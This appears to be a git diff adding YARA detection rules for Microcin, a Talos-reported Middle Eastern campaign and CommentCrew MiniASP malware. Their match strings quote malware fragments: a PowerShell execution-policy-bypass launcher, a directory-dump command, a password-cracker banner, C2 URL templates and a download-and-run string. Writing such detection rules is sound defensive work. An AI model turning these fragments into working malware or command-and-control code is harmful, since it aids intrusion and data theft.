rule Microcin_Sample_1 {
|
||||
meta:
|
||||
description = "Malware sample mentioned in Microcin technical report by Kaspersky"
|
||||
author = "Florian Roth"
|
||||
reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
|
||||
date = "2017-09-26"
|
||||
hash1 = "49816eefcd341d7a9c1715e1f89143862d4775ba4f9730397a1e8529f5f5e200"
|
||||
hash2 = "a73f8f76a30ad5ab03dd503cc63de3a150e6ab75440c1060d75addceb4270f46"
|
||||
hash3 = "9dd9bb13c2698159eb78a0ecb4e8692fd96ca4ecb50eef194fa7479cb65efb7c"
|
||||
strings:
|
||||
$s1 = "e Class Descriptor at (" fullword ascii
|
||||
$s2 = ".?AVCAntiAntiAppleFrameRealClass@@" fullword ascii
|
||||
$s3 = ".?AVCAntiAntiAppleFrameBaseClass@@" fullword ascii
|
||||
$s4 = ".?AVCAppleBinRealClass@@" fullword ascii
|
||||
$s5 = ".?AVCAppleBinBaseClass@@" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 300KB and (
|
||||
4 of them or
|
||||
pe.imphash() == "897077ca318eaf629cfe74569f10e023"
|
||||
)
|
||||
)
|
||||
}
|
||||
|
||||
rule Microcin_Sample_2 {
|
||||
meta:
|
||||
description = "Malware sample mentioned in Microcin technical report by Kaspersky"
|
||||
author = "Florian Roth"
|
||||
reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
|
||||
date = "2017-09-26"
|
||||
hash1 = "8a7d04229722539f2480270851184d75b26c375a77b468d8cbad6dbdb0c99271"
|
||||
strings:
|
||||
$s2 = "[Pause]" fullword ascii
|
||||
$s7 = "IconCache_%02d%02d%02d%02d%02d" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 200KB and all of them )
|
||||
}
|
||||
|
||||
rule Microcin_Sample_3 {
|
||||
meta:
|
||||
description = "Malware sample mentioned in Microcin technical report by Kaspersky"
|
||||
author = "Florian Roth"
|
||||
reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
|
||||
date = "2017-09-26"
|
||||
hash1 = "4f74a3b67c5ed6f38f08786f1601214412249fe128f12c51525135710d681e1d"
|
||||
strings:
|
||||
$x1 = "C:\\Users\\Lenovo\\Desktop\\test\\Release\\test.pdb" fullword ascii
|
||||
$s2 = "test, Version 1.0" fullword wide
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 200KB and all of them )
|
||||
}
|
||||
|
||||
rule Microcin_Sample_4 {
|
||||
meta:
|
||||
description = "Malware sample mentioned in Microcin technical report by Kaspersky"
|
||||
author = "Florian Roth"
|
||||
reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
|
||||
date = "2017-09-26"
|
||||
hash1 = "92c01d5af922bdaacb6b0b2dfbe29e5cc58c45cbee5133932a499561dab616b8"
|
||||
strings:
|
||||
$s1 = "cmd /c dir /a /s \"%s\" > \"%s\"" fullword wide
|
||||
$s2 = "ini.dat" fullword wide
|
||||
$s3 = "winupdata" fullword wide
|
||||
|
||||
$f1 = "%s\\(%08x%08x)%s" fullword wide
|
||||
$f2 = "%s\\d%08x\\d%08x.db" fullword wide
|
||||
$f3 = "%s\\u%08x\\u%08x.db" fullword wide
|
||||
$f4 = "%s\\h%08x\\h%08x.db" fullword wide
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 200KB and all of ($s*) or 5 of them )
|
||||
}
|
||||
|
||||
rule Microcin_Sample_5 {
|
||||
meta:
|
||||
description = "Malware sample mentioned in Microcin technical report by Kaspersky"
|
||||
author = "Florian Roth"
|
||||
reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
|
||||
date = "2017-09-26"
|
||||
hash1 = "b9c51397e79d5a5fd37647bc4e4ee63018ac3ab9d050b02190403eb717b1366e"
|
||||
strings:
|
||||
$x1 = "Sorry, you are not fortuante ^_^, Please try other password dictionary " fullword ascii
|
||||
$x2 = "DomCrack <IP> <UserName> <Password_Dic file path> <option>" fullword ascii
|
||||
$x3 = "The password is \"%s\" Time: %d(s)" fullword ascii
|
||||
$x4 = "The password is \" %s \" Time: %d(s)" fullword ascii
|
||||
$x5 = "No password found!" fullword ascii
|
||||
$x7 = "Can not found the Password Dictoonary file! " fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 100KB and 1 of them ) or 2 of them
|
||||
}
|
||||
|
||||
rule Microcin_Sample_6 {
|
||||
meta:
|
||||
description = "Malware sample mentioned in Microcin technical report by Kaspersky"
|
||||
author = "Florian Roth"
|
||||
reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
|
||||
date = "2017-09-26"
|
||||
hash1 = "cbd43e70dc55e94140099722d7b91b07a3997722d4a539ecc4015f37ea14a26e"
|
||||
hash2 = "871ab24fd6ae15783dd9df5010d794b6121c4316b11f30a55f23ba37eef4b87a"
|
||||
strings:
|
||||
$s1 = "** ERROR ** %s: %s" fullword ascii
|
||||
$s2 = "TEMPDATA" fullword wide
|
||||
$s3 = "Bruntime error " fullword wide
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 600KB and all of them )
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2018-02-07
|
||||
Identifier: ME Campaign Talos Report
|
||||
Reference: http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html
|
||||
*/
|
||||
|
||||
import "pe"
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule ME_Campaign_Malware_1 {
|
||||
meta:
|
||||
description = "Detects malware from Middle Eastern campaign reported by Talos"
|
||||
author = "Florian Roth"
|
||||
reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
|
||||
date = "2018-02-07"
|
||||
hash1 = "1176642841762b3bc1f401a5987dc55ae4b007367e98740188468642ffbd474e"
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 5000KB and (
|
||||
pe.imphash() == "618f76eaf4bd95c690d43e84d617efe9"
|
||||
)
|
||||
}
|
||||
|
||||
rule ME_Campaign_Malware_2 {
|
||||
meta:
|
||||
description = "Detects malware from Middle Eastern campaign reported by Talos"
|
||||
author = "Florian Roth"
|
||||
reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
|
||||
date = "2018-02-07"
|
||||
hash1 = "76a9b603f1f901020f65358f1cbf94c1a427d9019f004a99aa8bff1dea01a881"
|
||||
strings:
|
||||
$s1 = "QuickAssist.exe" fullword wide
|
||||
$s2 = "<description>Microsoft Modern Sharing Solution</description>" fullword ascii
|
||||
$s3 = "GBEWCWA" fullword ascii
|
||||
$s4 = "name=\"QuickAssist\" " fullword ascii
|
||||
$s5 = "Cimzal" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 600KB and (
|
||||
pe.imphash() == "b06055e6cc2a804111ab6964df1ca4ae" or
|
||||
4 of them
|
||||
)
|
||||
}
|
||||
|
||||
rule ME_Campaign_Malware_3 {
|
||||
meta:
|
||||
description = "Detects malware from Middle Eastern campaign reported by Talos"
|
||||
author = "Florian Roth"
|
||||
reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
|
||||
date = "2018-02-07"
|
||||
hash1 = "15f5aaa71bfa3d62fd558a3e88dd5ba26f7638bf2ac653b8d6b8d54dc7e5926b"
|
||||
strings:
|
||||
$x1 = "objWShell.Run \"powershell.exe -ExecutionPolicy Bypass -File \"\"%appdata%\"\"\\sys.ps1\", 0 " fullword ascii
|
||||
$x2 = "objFile.WriteLine \"New-Item -Path \"\"$ENV:APPDATA\\Microsoft\\Templates\"\" -ItemType Directory -Force }\" " fullword ascii
|
||||
$x3 = "objFile.WriteLine \"$path = \"\"$ENV:APPDATA\\Microsoft\\Templates\\Report.doc\"\"\" " fullword ascii
|
||||
$s4 = "File=appData & \"\\sys.ps1\"" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x6553 and filesize < 400KB and 1 of them
|
||||
}
|
||||
|
||||
rule ME_Campaign_Malware_4 {
|
||||
meta:
|
||||
description = "Detects malware from Middle Eastern campaign reported by Talos"
|
||||
author = "Florian Roth"
|
||||
reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
|
||||
date = "2018-02-07"
|
||||
hash1 = "c5bfb5118a999d21e9f445ad6ccb08eb71bc7bd4de9e88a41be9cf732156c525"
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 1000KB and pe.imphash() == "fb7da233a35ac523d6059fff543627ab"
|
||||
}
|
||||
|
||||
rule ME_Campaign_Malware_5 {
|
||||
meta:
|
||||
description = "Detects malware from Middle Eastern campaign reported by Talos"
|
||||
author = "Florian Roth"
|
||||
reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
|
||||
date = "2018-02-07"
|
||||
hash1 = "d49e9fdfdce1e93615c406ae13ac5f6f68fb7e321ed4f275f328ac8146dd0fc1"
|
||||
hash2 = "e66af059f37bdd35056d1bb6a1ba3695fc5ce333dc96b5a7d7cc9167e32571c5"
|
||||
strings:
|
||||
$s1 = "D:\\me\\do\\do\\obj\\" ascii
|
||||
$s2 = "Select * from Win32_ComputerSystem" fullword wide
|
||||
$s3 = "Get_Antivirus" fullword ascii
|
||||
$s4 = "{{\"id\":\"{0}\",\"user\":\"{1}\",\"path\":\"{2}\"}}" fullword wide
|
||||
$s5 = "update software online" fullword wide
|
||||
$s6 = "time.nist.gov" fullword wide
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 60KB and (
|
||||
pe.imphash() == "f34d5f2d4577ed6d9ceec516c1f5a744" and ( 8 of them )
|
||||
) or ( all of them )
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
|
||||
rule APT_Malware_CommentCrew_MiniASP {
|
||||
meta:
|
||||
description = "CommentCrew Malware MiniASP APT"
|
||||
author = "Florian Roth"
|
||||
reference = "VT Analysis"
|
||||
date = "2015-06-03"
|
||||
super_rule = 1
|
||||
hash0 = "0af4360a5ae54d789a8814bf7791d5c77136d625"
|
||||
hash1 = "777bf8def279942a25750feffc11d8a36cc0acf9"
|
||||
hash2 = "173f20b126cb57fc8ab04d01ae223071e2345f97"
|
||||
strings:
|
||||
$x1 = "\\MiniAsp4\\Release\\MiniAsp.pdb" ascii /* score: '19.02' */
|
||||
$x2 = "run http://%s/logo.png setup.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '37.02' */
|
||||
$x3 = "d:\\command.txt" fullword ascii /* PEStudio Blacklist: strings */ /* score: '28.01' */
|
||||
|
||||
$z1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR " ascii /* PEStudio Blacklist: strings */ /* score: '24.02' */
|
||||
$z2 = "Mozilla/4.0 (compatible; MSIE 7.4; Win32;32-bit)" fullword ascii /* PEStudio Blacklist: strings */ /* score: '22.03' */
|
||||
$z3 = "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC" ascii /* PEStudio Blacklist: agent */ /* score: '32.03' */
|
||||
|
||||
$s1 = "http://%s/device_command.asp?device_id=%s&cv=%s&command=%s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '36.02' */
|
||||
$s2 = "kill process error!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '24.04' */
|
||||
$s3 = "kill process success!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '21.04' */
|
||||
$s4 = "pickup command error!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '21.04' */
|
||||
$s5 = "http://%s/record.asp?device_t=%s&key=%s&device_id=%s&cv=%s&result=%s" fullword ascii /* score: '20.01' */
|
||||
$s6 = "no command" fullword ascii /* PEStudio Blacklist: strings */ /* score: '19.05' */
|
||||
$s7 = "software\\microsoft\\windows\\currentversion\\run" fullword ascii /* score: '19.02' */
|
||||
$s8 = "command is null!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '18.05' */
|
||||
$s9 = "pickup command Ok!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '18.04' */
|
||||
$s10 = "http://%s/result_%s.htm" fullword ascii /* score: '18.01' */
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and
|
||||
( 1 of ($x*) ) or
|
||||
( all of ($z*) ) or
|
||||
( 8 of ($s*) )
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user